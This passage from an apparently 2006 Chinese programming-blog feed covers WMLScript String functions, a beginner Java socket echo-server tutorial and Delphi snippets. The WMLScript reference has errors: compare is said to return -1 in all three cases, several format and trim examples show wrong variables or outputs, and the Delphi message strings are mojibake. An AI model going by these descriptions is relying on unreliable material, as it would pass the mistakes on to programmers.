<P>　　程序：replaceAT(string,index,separator)&nbsp;<BR>　　说明：在特定的index中的元素，使用所给予的元素element来代替，并回传这个新字符串。&nbsp;<BR>　　　　　如果index值小于0，则回传第一个元素。&nbsp;<BR>　　　　　如果index值大于元素的数目，则回传最后一个元素。&nbsp;<BR>　　　　　如果字符串为空字符串，则回传空字符串。&nbsp;<BR>　　　　　如果index值为浮点数，则须先使用Float.int()来计算出正确的索引值。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　　　　element=字符串&nbsp;<BR>　　　　　index=数字&nbsp;<BR>　　　　　separator=字符串&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：如果separator是个空字符串，则回传invalid&nbsp;<BR>　　范例：var&nbsp;a=&nbsp;"B&nbsp;C;&nbsp;E";&nbsp;<BR>　　　　　var&nbsp;s="";&nbsp;<BR>　　　　　var&nbsp;d=String.replaceAT(a,"A",0,s);&nbsp;//b="A&nbsp;C;E"&nbsp;<BR>　　　　　var&nbsp;e=String.replaceAT(a,"F",5,";");&nbsp;//d="B&nbsp;C;F"&nbsp;</P>
<P>　　InsertAt&nbsp;</P>
<P>　　程序：insertAt(string,index,separator)&nbsp;<BR>　　说明：将元素element与相对应的分隔符号separator插入与原始字符串string,在特定的element中的元素&nbsp;<BR>　　　　　如果index值小于0，则0会用来当索引值。&nbsp;<BR>　　　　　如果index值大于元素的数目，则元素element会附加上字符串string的为端。&nbsp;<BR>　　　　　如果字符串string为空字符串，则回传包含所给予元素element的新字符串。&nbsp;<BR>　　　　　如果index值为浮点数，则需先使用Float.int()来计算出正确的索引值。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　　　　element=字符串&nbsp;<BR>　　　　　index=数字&nbsp;<BR>　　　　　separator=字符串&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：如果separator是个空字符串，则回传invalid&nbsp;<BR>　　范例：var&nbsp;a=&nbsp;"B&nbsp;C;&nbsp;E";&nbsp;<BR>　　　　　var&nbsp;s="";&nbsp;<BR>　　　　　var&nbsp;b=String.insertAt(a,"A",0,s);&nbsp;//b="A&nbsp;B&nbsp;C;E"&nbsp;<BR>　　　　　var&nbsp;c=String.insertAt(a,"X",3,s);&nbsp;//c="B&nbsp;C;E&nbsp;X"&nbsp;<BR>　　　　　var&nbsp;d=String.insertAt(a,"D",1,";");&nbsp;//d="B&nbsp;C;D;E"&nbsp;<BR>　　　　　var&nbsp;e=String.insertAt(a,"F",5,";");&nbsp;//e="B&nbsp;C;E;F"&nbsp;</P>
<P>　　squeeze&nbsp;</P>
<P>　　程序：squeeze(string)&nbsp;<BR>　　说明：将字符串string中所有连续的空格减少为一个空格。&nbsp;<BR>　　参数：stromg=字符串&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a="Hello";&nbsp;<BR>　　　　　var&nbsp;b="Bye&nbsp;Jon.See&nbsp;you!";&nbsp;<BR>　　　　　var&nbsp;c=String.squeeze(a);&nbsp;//c="Hello"&nbsp;<BR>　　　　　var&nbsp;d=String.squeeze(b);&nbsp;//d="Bye&nbsp;Jon.See&nbsp;you!"&nbsp;</P>
<P>　　trim&nbsp;</P>
<P>　　程序：trim(string)&nbsp;<BR>　　说明：将字符串string中所有开头与连续的空格删除。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　回传值:字符串或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a="Hello";&nbsp;<BR>　　　　　var&nbsp;b="Bye&nbsp;Jon.See&nbsp;you!";&nbsp;<BR>　　　　　var&nbsp;c=String.squeeze(a);&nbsp;//c="Hello"&nbsp;<BR>　　　　　var&nbsp;d=String.squeeze(b);&nbsp;//d="Bye&nbsp;Jon.See&nbsp;you!"&nbsp;</P>
<P>　　compare&nbsp;</P>
<P>　　程序：compare(string,string2)&nbsp;<BR>　　说明：这个程序的回传值会指出string1与string2在语汇上关系，这个关系是基于自然字集的字符码之间，其回传值如下：&nbsp;<BR>　　　　　如果string1小于string2，传会-1。&nbsp;<BR>　　　　　如果string1等于string2，传会-1。&nbsp;<BR>　　　　　如果string1大于string2，传会-1。&nbsp;<BR>　　参数：string1=字符串&nbsp;<BR>　　　　　string2=字符串&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a="Hello";&nbsp;<BR>　　　　　var&nbsp;b="Hello";&nbsp;<BR>　　　　　var&nbsp;c=String.compare(a,b);&nbsp;//c=0&nbsp;<BR>　　　　　var&nbsp;d=String.compare("Bye","Jon");&nbsp;//d=-1&nbsp;<BR>　　　　　var&nbsp;e=String.compare("Jon","Bye");&nbsp;//e=1&nbsp;</P>
<P>　　toString&nbsp;</P>
<P>　　程序：toString(value)&nbsp;<BR>　　说明：回传一个能表示所给予的值value的字符串，这个程序跟WML&nbsp;Script的转换是一样的，除了invlaid值会回传一个"invalid"字符串。&nbsp;<BR>　　参数：value=任意值&nbsp;<BR>　　回传值：字符串&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a=string.toString(12);&nbsp;//&nbsp;a="12"&nbsp;<BR>　　　　　var&nbsp;a=string.toString(true);&nbsp;//&nbsp;b="true"&nbsp;</P>
<P>　　format&nbsp;</P>
<P>　　程序：format(format,value)&nbsp;<BR>　　说明：将给予的值value转换成字符串，并依照所给予的格式format提供的格式化的字符串，这个格式字符串只能由一种特定格式，并能放置于字符串的任何地方，如果超过一种以上的格式需要使用，则能会使用最左边的格式，至于其他格式则有空字符串代替，这些格式如下：&nbsp;</P>
<P>　　[width][.precision]type&nbsp;<BR>　　width参数为非负的是近制整数，这个参数控制与显现字符的最小数目，如果输出的字数小于指定的宽度width，则会在字符串的左边加上空白，直到符合最小宽度的要求，width参数永远不会是值value被删减，如果输出的字数大于特定的宽度或并没指定宽度的话，value中所有的字符都会被显现。&nbsp;</P>
<P>　　precision参数是个非负的十进制整数，这个引号之前必须限价上（.）的符号，其目的是用来设定输入值的精确度，这个值的解议会跟给予的格式有关：&nbsp;</P>
<P>　　d&nbsp;界定数字最小的显现数目，如果value中数字的数目超过precision的值，输入值会在其左边加上0，如果数字的数目超过precision值，value的值并不会被删减，预设的precision值为1，如果precision值设定为0，而且value页被转换成0，则结果将是一个空字符串。&nbsp;</P>
<P>　　f&nbsp;界定十进制小数后的数字数目，如果十进制的小数点出现了，在小数点之后至少要有一位数，这个值会被四舍五入到近似的数字数值，预设的precision为6，如果precision为0或小数点（.）后没有数字，则不会显现小数点，当value值的小数点后数字数目小于precision的值，字母0为被加入直到填满栏位（如：String.format("%2.3f",1.2)会是"1.200"）&nbsp;</P>
<P>　　s&nbsp;界定字符所要显现的最大数目，预设值是显现所有的字符，当width值大于precision值，width值是可以忽略的，跟width值不同的是，precision只可能会造成浮点数值的四舍五入或输入值的删减。&nbsp;</P>
<P>　　type参数是唯一格式的参数，他出现在任何的格式栏为选项之后，type字符决定了所给予的value将会解译成整数，浮点数或字符串，支持的type参数如下:&nbsp;</P>
<P>　　　d&nbsp;整数：输入值的格式[-]dddd，这里的dddd是一个或以上的十进制数字。&nbsp;</P>
<P>　　　f&nbsp;浮点数：输入值的格式[-]dddd.dddd,这里的dddd是一个或以上的十进制数字，在小数点之前的数字数目和数字的大小有关，小数点之后的数字数目和精确度有关。&nbsp;</P>
<P>　　　s&nbsp;字符串：字符的显现跟精确度有关。&nbsp;</P>
<P>　　百分比字符（%）在格式字符串中能使用额外的百分比字符加以表示（%%）。&nbsp;</P>
<P>　　参数：format=字符串&nbsp;<BR>　　value=任意值&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况；无效的格式会回传invalid值。&nbsp;<BR>　　范例：var&nbsp;a=45;&nbsp;<BR>　　　　　var&nbsp;b=-45;&nbsp;<BR>　　　　　var&nbsp;c="now";&nbsp;<BR>　　　　　var&nbsp;d=1.2345678;&nbsp;<BR>　　　　　var&nbsp;e=String.format("e:%6d",a);&nbsp;//e="e:45"&nbsp;<BR>　　　　　var&nbsp;e=String.format("%6d",b);&nbsp;//f="-45"&nbsp;<BR>　　　　　var&nbsp;e=String.format("e:%6d",a);&nbsp;//g="0045"&nbsp;<BR>　　　　　var&nbsp;e=String.format("%6.4d",b);&nbsp;//h="-0045"&nbsp;<BR>　　　　　var&nbsp;e=String.format("Do&nbsp;it&nbsp;%s",c);&nbsp;//i="Do&nbsp;it&nbsp;now"&nbsp;<BR>　　　　　var&nbsp;e=String.format("%3f",d);&nbsp;//j="1.2345678"&nbsp;<BR>　　　　　var&nbsp;e=String.format("%10.2f%%",a);&nbsp;//k="1.23%."&nbsp;<BR>　　　　　var&nbsp;e=String.format("%3f&nbsp;%2f",a);&nbsp;//l="1.234567."&nbsp;<BR>　　　　　var&nbsp;e=String.format("%.0d",0);&nbsp;//m=""&nbsp;<BR>　　　　　var&nbsp;e=String.format("%.7d","Int");&nbsp;//n="invalid"&nbsp;<BR>　　　　　var&nbsp;e=String.format("%s",ture);&nbsp;//o="ture"&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=222" /> 
	  <id>http://www.openx.cn/default.asp?id=222</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Java Socket网络编程初级入门]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-28T09:28:22+08:00</updated>
	  <published>2006-02-28T09:28:22+08:00</published>
		  <summary type="html"><![CDATA[作者：JR&nbsp;事实上网络编程简单的理解就是两台计算机相互通讯数据而已，对于程序员而言，去掌握一种编程接口并使用一种编程模型相对就会显得简单的多了，Java&nbsp;SDK提供一些相对简单的Api来完成这些工作。Socket就是其中之一，对于Java而言，这些Api存在与java.net&nbsp;这个包里面，因此只要导入这个包就可以准备网络编程了。&nbsp; 
<P></P>
<P>　　网络编程的基本模型就是客户机到服务器模型，简单的说就是两个进程之间相互通讯，然后其中一个必须提供一个固定的位置，而另一个则只需要知道这个固定的位置。并去建立两者之间的联系，然后完成数据的通讯就可以了，这里提供固定位置的通常称为服务器，而建立联系的通常叫做客户端，基于这个简单的模型，就可以进入网络编程啦。&nbsp;</P>
<P>　　Java对这个模型的支持有很多种Api，而这里我只想介绍有关Socket的编程接口，对于Java而言已经简化了Socket的编程接口。首先我们来讨论有关提供固定位置的服务方是如何建立的。Java提供了ServerSocket来对其进行支持.事实上当你创建该类的一个实力对象并提供一个端口资源你就建立了一个固定位置可以让其他计算机来访问你，ServerSocket&nbsp;server=new&nbsp;ServerSocket(6789);这里稍微要注意的是端口的分配必须是唯一的。因为端口是为了唯一标识每台计算机唯一服务的，另外端口号是从0~65535之间的，前1024个端口已经被Tcp/Ip&nbsp;作为保留端口，因此你所分配的端口只能是1024个之后的。好了，我们有了固定位置.现在所需要的就是一根连接线了.该连接线由客户方首先提出要求。因此Java同样提供了一个Socket对象来对其进行支持，只要客户方创建一个Socket的实例对象进行支持就可以了。Socket&nbsp;client&nbsp;<BR>=new&nbsp;Socket(InetAddress.getLocalHost(),5678);客户机必须知道有关服务器的IP地址，对于着一点Java也提供了一个相关的类InetAddress&nbsp;该对象的实例必须通过它的静态方法来提供，它的静态方法主要提供了得到本机IP&nbsp;和通过名字或IP直接得到InetAddress的方法。&nbsp;</P>
<P>　　上面的方法基本可以建立一条连线让两台计算机相互交流了，可是数据是如何传输的呢？事实上I/O操作总是和网络编程息息相关的。因为底层的网络是继续数据的，除非远程调用，处理问题的核心在执行上，否则数据的交互还是依赖于IO操作的，所以你也必须导入java.io这个包.java的IO操作也不复杂，它提供了针对于字节流和Unicode的读者和写者，然后也提供了一个缓冲用于数据的读写。&nbsp;</P>
<P>BufferedReader&nbsp;in=new&nbsp;BufferedReader(new&nbsp;InputStreamReader(server.getInputStream()));&nbsp;<BR>PrintWriter&nbsp;out=new&nbsp;PrintWriter(server.getOutputStream());&nbsp;<BR>　　上面两句就是建立缓冲并把原始的字节流转变为Unicode可以操作，而原始的字节流来源于Socket的两个方法，getInputStream()和getOutputStream()方，分别用来得到输入和输出，那么现在有了基本的模型和基本的操作工具，我们可以做一个简单的Socket例程了.&nbsp;</P>
<P>　　服务方:&nbsp;</P>
<P>import&nbsp;java.io.*;&nbsp;<BR>import&nbsp;java.net.*;&nbsp;<BR>public&nbsp;class&nbsp;MyServer&nbsp;{&nbsp;<BR>　public&nbsp;static&nbsp;void&nbsp;main(String[]&nbsp;args)&nbsp;throws&nbsp;IOException{&nbsp;<BR>　　ServerSocket&nbsp;server=new&nbsp;ServerSocket(5678);&nbsp;<BR>　　Socket&nbsp;client=server.accept();&nbsp;<BR>　　BufferedReader&nbsp;in=new&nbsp;BufferedReader(new&nbsp;InputStreamReader(client.getInputStream()));&nbsp;<BR>　　PrintWriter&nbsp;out=new&nbsp;PrintWriter(client.getOutputStream());&nbsp;<BR>　　while(true){&nbsp;<BR>　　　String&nbsp;str=in.readLine();&nbsp;<BR>　　　System.out.println(str);&nbsp;<BR>　　　out.println("has&nbsp;receive....");&nbsp;<BR>　　　out.flush();&nbsp;<BR>　　　if(str.equals("end"))&nbsp;<BR>　　　　break;&nbsp;<BR>　　}&nbsp;<BR>　　client.close();&nbsp;<BR>　}&nbsp;<BR>}&nbsp;<BR>　　这个程序的主要目的在于服务器不断接收客户机所写入的信息只到，客户机发送"End"字符串就退出程序，并且服务器也会做出"Receive"为回应，告知客户机已接收到消息。&nbsp;</P>
<P>　　客户机代码:&nbsp;</P>
<P>import&nbsp;java.net.*;&nbsp;<BR>import&nbsp;java.io.*;&nbsp;</P>
<P>public&nbsp;class&nbsp;Client{&nbsp;<BR>　static&nbsp;Socket&nbsp;server;&nbsp;</P>
<P>　public&nbsp;static&nbsp;void&nbsp;main(String[]&nbsp;args)throws&nbsp;Exception{&nbsp;<BR>　　server=new&nbsp;Socket(InetAddress.getLocalHost(),5678);&nbsp;<BR>　　BufferedReader&nbsp;in=new&nbsp;BufferedReader(new&nbsp;InputStreamReader(server.getInputStream()));&nbsp;<BR>　　PrintWriter&nbsp;out=new&nbsp;PrintWriter(server.getOutputStream());&nbsp;<BR>　　BufferedReader&nbsp;wt=new&nbsp;BufferedReader(new&nbsp;InputStreamReader(System.in));&nbsp;</P>
<P>　　while(true){&nbsp;<BR>　　　String&nbsp;str=wt.readLine();&nbsp;<BR>　　　out.println(str);&nbsp;<BR>　　　out.flush();&nbsp;<BR>　　　if(str.equals("end")){&nbsp;<BR>　　　　break;&nbsp;<BR>　　　}&nbsp;<BR>　　　System.out.println(in.readLine());&nbsp;<BR>　　}&nbsp;<BR>　　server.close();&nbsp;<BR>　}&nbsp;<BR>}&nbsp;<BR>　　客户机代码则是接受客户键盘输入,并把该信息输出，然后输出"End"用来做退出标识。&nbsp;</P>
<P>　　这个程序只是简单的两台计算机之间的通讯，如果是多个客户同时访问一个服务器呢？你可以试着再运行一个客户端，结果是会抛出异常的。那么多个客户端如何实现呢?&nbsp;</P>
<P>　　其实,简单的分析一下，就可以看出客户和服务通讯的主要通道就是Socket本身，而服务器通过accept方法就是同意和客户建立通讯.这样当客户建立Socket的同时。服务器也会使用这一根连线来先后通讯，那么既然如此只要我们存在多条连线就可以了。那么我们的程序可以变为如下:&nbsp;</P>
<P>　　服务器:&nbsp;</P>
<P>import&nbsp;java.io.*;&nbsp;<BR>import&nbsp;java.net.*;&nbsp;</P>
<P>public&nbsp;class&nbsp;MyServer&nbsp;{&nbsp;<BR>　public&nbsp;static&nbsp;void&nbsp;main(String[]&nbsp;args)&nbsp;throws&nbsp;IOException{&nbsp;<BR>　　ServerSocket&nbsp;server=new&nbsp;ServerSocket(5678);&nbsp;<BR>　　while(true){&nbsp;<BR>　　　Socket&nbsp;client=server.accept();&nbsp;<BR>　　　BufferedReader&nbsp;in=new&nbsp;BufferedReader(new&nbsp;InputStreamReader(client.getInputStream()));&nbsp;<BR>　　　PrintWriter&nbsp;out=new&nbsp;PrintWriter(client.getOutputStream());&nbsp;<BR>　　　while(true){&nbsp;<BR>　　　　String&nbsp;str=in.readLine();&nbsp;<BR>　　　　System.out.println(str);&nbsp;<BR>　　　　out.println("has&nbsp;receive....");&nbsp;<BR>　　　　out.flush();&nbsp;<BR>　　　　if(str.equals("end"))&nbsp;<BR>　　　　　break;&nbsp;<BR>　　　}&nbsp;<BR>　　　client.close();&nbsp;<BR>　　}&nbsp;<BR>　}&nbsp;<BR>}&nbsp;<BR>　　这里仅仅只是加了一个外层的While循环，这个循环的目的就是当一个客户进来就为它分配一个Socket直到这个客户完成一次和服务器的交互，这里也就是接受到客户的"End"消息.那么现在就实现了多客户之间的交互了。但是.问题又来了，这样做虽然解决了多客户,可是是排队执行的。也就是说当一个客户和服务器完成一次通讯之后下一个客户才可以进来和服务器交互，无法做到同时服务，那么要如何才能同时达到既能相互之间交流又能同时交流呢？很显然这是一个并行执行的问题了。所以线程是最好的解决方案。&nbsp;</P>
<P>　　那么下面的问题是如何使用线程.首先要做的事情是创建线程并使得其可以和网络连线取得联系。然后由线程来执行刚才的操作，要创建线程要么直接继承Thread要么实现Runnable接口，要建立和Socket的联系只要传递引用就可以了.而要执行线程就必须重写run方法，而run方法所做的事情就是刚才单线程版本main所做的事情，因此我们的程序变成了这样:&nbsp;</P>
<P>import&nbsp;java.net.*;&nbsp;<BR>import&nbsp;java.io.*;&nbsp;</P>
<P>public&nbsp;class&nbsp;MultiUser&nbsp;extends&nbsp;Thread{&nbsp;<BR>　private&nbsp;Socket&nbsp;client;&nbsp;</P>
<P>　public&nbsp;MultiUser(Socket&nbsp;c){&nbsp;<BR>　　this.client=c;&nbsp;<BR>　}&nbsp;</P>
<P>　public&nbsp;void&nbsp;run(){&nbsp;<BR>　　try{&nbsp;<BR>　　　BufferedReader&nbsp;in=new&nbsp;BufferedReader(new&nbsp;InputStreamReader(client.getInputStream()));&nbsp;<BR>　　　PrintWriter&nbsp;out=new&nbsp;PrintWriter(client.getOutputStream());&nbsp;<BR>　　　//Mutil&nbsp;User&nbsp;but&nbsp;can't&nbsp;parallel&nbsp;<BR>　　　while(true){&nbsp;<BR>　　　　String&nbsp;str=in.readLine();&nbsp;<BR>　　　　System.out.println(str);&nbsp;<BR>　　　　out.println("has&nbsp;receive....");&nbsp;<BR>　　　　out.flush();&nbsp;<BR>　　　　if(str.equals("end"))&nbsp;<BR>　　　　　break;&nbsp;<BR>　　　}&nbsp;<BR>　　　client.close();&nbsp;<BR>　　}catch(IOException&nbsp;ex){&nbsp;<BR>　　}finally{&nbsp;<BR>　}&nbsp;<BR>}&nbsp;</P>
<P>public&nbsp;static&nbsp;void&nbsp;main(String[]&nbsp;args)throws&nbsp;IOException{&nbsp;<BR>　ServerSocket&nbsp;server=new&nbsp;ServerSocket(5678);&nbsp;<BR>　while(true){&nbsp;<BR>　　//transfer&nbsp;location&nbsp;change&nbsp;Single&nbsp;User&nbsp;or&nbsp;Multi&nbsp;User&nbsp;<BR>　　MultiUser&nbsp;mu=new&nbsp;MultiUser(server.accept());&nbsp;<BR>　　mu.start();&nbsp;<BR>　}&nbsp;<BR>}&nbsp;<BR>}&nbsp;<BR>　　我的类直接从Thread类继承了下来.并且通过构造函数传递引用和客户Socket建立了联系，这样每个线程就有了。一个通讯管道.同样我们可以填写run方法，把之前的操作交给线程来完成，这样多客户并行的Socket就建立起来了。&nbsp;<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=221" /> 
	  <id>http://www.openx.cn/default.asp?id=221</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[delphi 代码收集2]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-22T16:37:37+08:00</updated>
	  <published>2006-02-22T16:37:37+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>(14).改变Dbgrid的选定色。</STRONG> </P>
<P></P>
<P>procedure&nbsp;TForm1.DBGrid1DrawDataCell(Sender:&nbsp;TObject;&nbsp;const&nbsp;Rect:&nbsp;TRect;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Field:&nbsp;TField;&nbsp;State:&nbsp;TGridDrawState);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;gdSelected&nbsp;in&nbsp;state&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetBkColor(dbgrid1.canvas.handle,clgreen)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setbkcolor(dbgrid1.canvas.handle,clwhite);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbgrid1.Canvas.TextRect(rect,0,0,field.AsString);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbgrid1.Canvas.Textout(rect.Left,rect.Top,field.AsString);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR></P>
<P><STRONG>(15).检测系统是否已安装了ADO。</STRONG>&nbsp;</P>
<P>uses&nbsp;registry;<BR>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;Tform1.ADOInstalled:Boolean;<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;r:TRegistry;<BR>&nbsp;&nbsp;&nbsp;&nbsp;s:string;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r&nbsp;:=&nbsp;TRegistry.create;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;r&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RootKey&nbsp;:=&nbsp;HKEY_CLASSES_ROOT;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OpenKey(&nbsp;'\ADODB.Connection\CurVer',&nbsp;false&nbsp;);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s&nbsp;:=&nbsp;ReadString('');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;s&nbsp;&lt;&gt;&nbsp;''&nbsp;then&nbsp;Result&nbsp;:=&nbsp;True<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;Result&nbsp;:=&nbsp;False;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseKey;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r.free;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;ADOInstalled&nbsp;then&nbsp;showmessage('this&nbsp;computer&nbsp;has&nbsp;installed&nbsp;ADO');<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><STRONG>(16).取利主机的ip地址。</STRONG><BR><BR>uses&nbsp;winsock;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;IP:string;<BR>&nbsp;&nbsp;&nbsp;&nbsp;IPstr:String;<BR>&nbsp;&nbsp;&nbsp;&nbsp;buffer:array[1..32]&nbsp;of&nbsp;char;<BR>&nbsp;&nbsp;&nbsp;&nbsp;i:integer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;WSData:TWSAdata;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Host:PHostEnt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;WSAstartup(2,WSData)&lt;&gt;0&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('WS2_32.DLL3?ê??ˉê§°ü.');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;GetHostname(@buffer[1],32)&lt;&gt;0&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('??óDμ?μ??÷?ú??.');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('??óD3é1|·μ???÷?ú??');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Host:=GetHostbyname(@buffer[1]);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Host=nil&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('IPμ??·?a??.');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;edit2.Text:=Host.h_name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;edit3.Text:=chr(host.h_addrtype+64);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i:=1&nbsp;to&nbsp;4&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IP:=inttostr(ord(host.h_addr^[i-1]));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;i&lt;4&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipstr:=ipstr+IP+'.'<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;edit1.Text:=ipstr+ip;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(17).取得计算机名。</STRONG> </P>
